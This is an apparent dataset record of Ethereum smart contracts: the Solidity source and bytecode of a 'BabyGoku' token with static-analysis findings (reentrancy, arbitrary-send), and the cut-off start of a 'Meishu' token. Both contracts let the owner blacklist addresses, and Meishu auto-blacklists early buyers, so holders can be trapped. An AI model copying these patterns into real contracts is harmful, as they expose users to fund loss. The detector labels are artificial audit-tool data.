onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); } contract BabyGoku is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); string private constant _name = "BabyGoku"; string private constant _symbol = unicode"BGK"; uint8 private constant _decimals = 9; uint256 private constant DECIMAL_FACTOR = 10**_decimals; uint256 private constant _tTotal = 100000000 * DECIMAL_FACTOR; uint256 public _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; IUniswapV2Pair public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } event TradingStarted(address indexed token0, address indexed token1); constructor( address payable FeeAddress, address payable marketingWalletAddress ) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); address uniswapV2PairAddress = IUniswapV2Factory( _uniswapV2Router.factory() ).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress); } // openTrading function kamehameha() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * DECIMAL_FACTOR; tradingOpen = true; IERC20(address(uniswapV2Pair)).approve( address(uniswapV2Router), type(uint256).max ); emit TradingStarted(uniswapV2Pair.token0(), uniswapV2Pair.token1()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 8; _teamFee = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == address(uniswapV2Pair) && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if ( to == address(uniswapV2Pair) && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _taxFee = 8; _teamFee = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != address(uniswapV2Pair) && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() public view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461035a578063a9b707271461037a578063b515566a1461038f578063c3c8cd80146103af578063d543dbeb146103c4578063dd62ed3e146103e457600080fd5b806370a08231146102b1578063715018a6146102d15780638da5cb5b146102e657806395d89b411461030457806397a9d5601461033057600080fd5b8063313ce567116100f2578063313ce5671461021257806345e0b9d41461022e57806349bd5a5e146102445780635932ead11461027c5780636fc3eaec1461029c57600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad57806323b872dd146101d0578063273123b7146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600881526742616279476f6b7560c01b60208201525b6040516101749190611a0d565b60405180910390f35b34801561018957600080fd5b5061019d610198366004611894565b61042a565b6040519015158152602001610174565b3480156101b957600080fd5b506101c2610441565b604051908152602001610174565b3480156101dc57600080fd5b5061019d6101eb366004611853565b610462565b3480156101fc57600080fd5b5061021061020b3660046117e0565b6104cb565b005b34801561021e57600080fd5b5060405160098152602001610174565b34801561023a57600080fd5b506101c260085481565b34801561025057600080fd5b50601154610264906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b34801561028857600080fd5b5061021061029736600461198c565b61051f565b3480156102a857600080fd5b50610210610567565b3480156102bd57600080fd5b506101c26102cc3660046117e0565b610594565b3480156102dd57600080fd5b506102106105b6565b3480156102f257600080fd5b506000546001600160a01b0316610264565b34801561031057600080fd5b5060408051808201909152600381526242474b60e81b6020820152610167565b34801561033c57600080fd5b5061034561062a565b60408051928352602083019190915201610174565b34801561036657600080fd5b5061019d610375366004611894565b6106ac565b34801561038657600080fd5b506102106106b9565b34801561039b57600080fd5b506102106103aa3660046118c0565b610a26565b3480156103bb57600080fd5b50610210610abc565b3480156103d057600080fd5b506102106103df3660046119c6565b610af2565b3480156103f057600080fd5b506101c26103ff36600461181a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610437338484610bd6565b5060015b92915050565b600061044f6009600a611b85565b61045d906305f5e100611c30565b905090565b600061046f848484610cfa565b6104c184336104bc85604051806060016040528060288152602001611ce7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611094565b610bd6565b5060019392505050565b6000546001600160a01b031633146104fe5760405162461bcd60e51b81526004016104f590611a62565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105495760405162461bcd60e51b81526004016104f590611a62565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461058757600080fd5b47610591816110ce565b50565b6001600160a01b03811660009081526002602052604081205461043b90611153565b6000546001600160a01b031633146105e05760405162461bcd60e51b81526004016104f590611a62565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60085460009081908161063f6009600a611b85565b61064d906305f5e100611c30565b905061067561065e6009600a611b85565b61066c906305f5e100611c30565b600854906111d7565b8210156106a35760085461068b6009600a611b85565b610699906305f5e100611c30565b9350935050509091565b90939092509050565b6000610437338484610cfa565b6000546001600160a01b031633146106e35760405162461bcd60e51b81526004016104f590611a62565b601154600160a01b900460ff161561073d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f5565b6010546001600160a01b031663f305d719473061075981610594565b60008061076e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107d157600080fd5b505af11580156107e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061080a91906119df565b50506011805461ffff60b01b191661010160b01b1790555061082e6009600a611b85565b61083b9062989680611c30565b60125560118054600160a01b60ff60a01b1982161790915560105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108a157600080fd5b505af11580156108b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d991906119a9565b50601160009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096091906117fd565b6001600160a01b0316601160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ef91906117fd565b6001600160a01b03167fba8b87a3b75bf1394bf8961527119bb55d4ff3b316d80691bc558e273ca988a560405160405180910390a3565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016104f590611a62565b60005b8151811015610ab857600160066000848481518110610a7457610a74611c97565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ab081611c66565b915050610a53565b5050565b600e546001600160a01b0316336001600160a01b031614610adc57600080fd5b6000610ae730610594565b905061059181611219565b6000546001600160a01b03163314610b1c5760405162461bcd60e51b81526004016104f590611a62565b60008111610b6c5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f5565b610b9b6064610b9583610b816009600a611b85565b610b8f906305f5e100611c30565b906113a2565b906111d7565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f5565b6001600160a01b038216610c995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d5e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f5565b6001600160a01b038216610dc05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f5565b60008111610e225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f5565b6008600a556007600b556000546001600160a01b03848116911614801590610e5857506000546001600160a01b03838116911614155b15611037576001600160a01b03831660009081526006602052604090205460ff16158015610e9f57506001600160a01b03821660009081526006602052604090205460ff16155b610ea857600080fd5b6011546001600160a01b038481169116148015610ed357506010546001600160a01b03838116911614155b8015610ef857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0d5750601154600160b81b900460ff165b15610f6a57601254811115610f2157600080fd5b6001600160a01b0382166000908152600760205260409020544211610f4557600080fd5b610f5042601e611b08565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610f9557506010546001600160a01b03848116911614155b8015610fba57506001600160a01b03831660009081526005602052604090205460ff16155b15610fca576008600a556007600b555b6000610fd530610594565b601154909150600160a81b900460ff1615801561100057506011546001600160a01b03858116911614155b80156110155750601154600160b01b900460ff165b156110355761102381611219565b47801561103357611033476110ce565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061107957506001600160a01b03831660009081526005602052604090205460ff165b15611082575060005b61108e84848484611421565b50505050565b600081848411156110b85760405162461bcd60e51b81526004016104f59190611a0d565b5060006110c58486611c4f565b95945050505050565b600e546001600160a01b03166108fc6110e88360026111d7565b6040518115909202916000818181858888f19350505050158015611110573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61112b8360026111d7565b6040518115909202916000818181858888f19350505050158015610ab8573d6000803e3d6000fd5b60006008548211156111ba5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f5565b60006111c461144f565b90506111d083826111d7565b9392505050565b60006111d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611472565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126157611261611c97565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b557600080fd5b505afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed91906117fd565b8160018151811061130057611300611c97565b6001600160a01b0392831660209182029290920101526010546113269130911684610bd6565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f908590600090869030904290600401611a97565b600060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826113b15750600061043b565b60006113bd8385611c30565b9050826113ca8583611b20565b146111d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f5565b8061142e5761142e6114a0565b6114398484846114ce565b8061108e5761108e600c54600a55600d54600b55565b600080600061145c61062a565b909250905061146b82826111d7565b9250505090565b600081836114935760405162461bcd60e51b81526004016104f59190611a0d565b5060006110c58486611b20565b600a541580156114b05750600b54155b156114b757565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114e0876115c5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115129087611622565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115419086611664565b6001600160a01b038916600090815260026020526040902055611563816116c3565b61156d848361170d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115b291815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006115e28a600a54600b54611731565b92509250925060006115f261144f565b905060008060006116058e878787611780565b919e509c509a509598509396509194505050505091939550919395565b60006111d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611094565b6000806116718385611b08565b9050838110156111d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f5565b60006116cd61144f565b905060006116db83836113a2565b306000908152600260205260409020549091506116f89082611664565b30600090815260026020526040902055505050565b60085461171a9083611622565b60085560095461172a9082611664565b6009555050565b60008080806117456064610b9589896113a2565b905060006117586064610b958a896113a2565b905060006117708261176a8b86611622565b90611622565b9992985090965090945050505050565b600080808061178f88866113a2565b9050600061179d88876113a2565b905060006117ab88886113a2565b905060006117bd8261176a8686611622565b939b939a50919850919650505050505050565b80356117db81611cc3565b919050565b6000602082840312156117f257600080fd5b81356111d081611cc3565b60006020828403121561180f57600080fd5b81516111d081611cc3565b6000806040838503121561182d57600080fd5b823561183881611cc3565b9150602083013561184881611cc3565b809150509250929050565b60008060006060848603121561186857600080fd5b833561187381611cc3565b9250602084013561188381611cc3565b929592945050506040919091013590565b600080604083850312156118a757600080fd5b82356118b281611cc3565b946020939093013593505050565b600060208083850312156118d357600080fd5b823567ffffffffffffffff808211156118eb57600080fd5b818501915085601f8301126118ff57600080fd5b81358181111561191157611911611cad565b8060051b604051601f19603f8301168101818110858211171561193657611936611cad565b604052828152858101935084860182860187018a101561195557600080fd5b600095505b8386101561197f5761196b816117d0565b85526001959095019493860193860161195a565b5098975050505050505050565b60006020828403121561199e57600080fd5b81356111d081611cd8565b6000602082840312156119bb57600080fd5b81516111d081611cd8565b6000602082840312156119d857600080fd5b5035919050565b6000806000606084860312156119f457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a3a57858101830151858201604001528201611a1e565b81811115611a4c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae75784516001600160a01b031683529383019391830191600101611ac2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b1b57611b1b611c81565b500190565b600082611b3d57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115611b7d578160001904821115611b6357611b63611c81565b80851615611b7057918102915b93841c9390800290611b47565b509250929050565b60006111d060ff841683600082611b9e5750600161043b565b81611bab5750600061043b565b8160018114611bc15760028114611bcb57611be7565b600191505061043b565b60ff841115611bdc57611bdc611c81565b50506001821b61043b565b5060208310610133831016604e8410600b8410161715611c0a575081810a61043b565b611c148383611b42565b8060001904821115611c2857611c28611c81565b029392505050565b6000816000190483118215151615611c4a57611c4a611c81565b500290565b600082821015611c6157611c61611c81565b500390565b6000600019821415611c7a57611c7a611c81565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059157600080fd5b801515811461059157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ded8f1b3be0ede9e66ab420b256bc191fc4a5dd9adb71b8149445b7e8bf980ab64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,549
0x406b9dca8b52f08385014ec1ed1cf6a0d5c01289
/** *Submitted for verification at Etherscan.io on 2022-03-03 */ // SPDX-License-Identifier: unlicense /* * * ███╗ ███╗███████╗██╗███████╗██╗ ██╗██╗ ██╗ * ████╗ ████║██╔════╝██║██╔════╝██║ ██║██║ ██║ * ██╔████╔██║█████╗ ██║███████╗███████║██║ ██║ * ██║╚██╔╝██║██╔══╝ ██║╚════██║██╔══██║██║ ██║ * ██║ ╚═╝ ██║███████╗██║███████║██║ ██║╚██████╔╝ * ╚═╝ ╚═╝╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ */ // MEISHU ETH // Version: 20220303001 // Website: https://meishu.io/ // Twitter: https://mobile.twitter.com/meishu_official (@meishu_official) // TG: https://t.me/meishu_official // Instagram: https://www.instagram.com/meishu_official/ pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Meishu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Meishu";// string private constant _symbol = "MEISHU";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 777000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 20;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xc315aA89008A7D6F45F396Ce679d1130e8E69Dce);// address payable private _marketingAddress = payable(0x3bd9B286F98BeA2a85438C2A2ab2Cb8b86CB0c17);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 777000 * 10**9; // uint256 public _maxWalletSize = 2331000 * 10**9; // uint256 public _swapTokensAtAmount = 233100 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock + 2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool 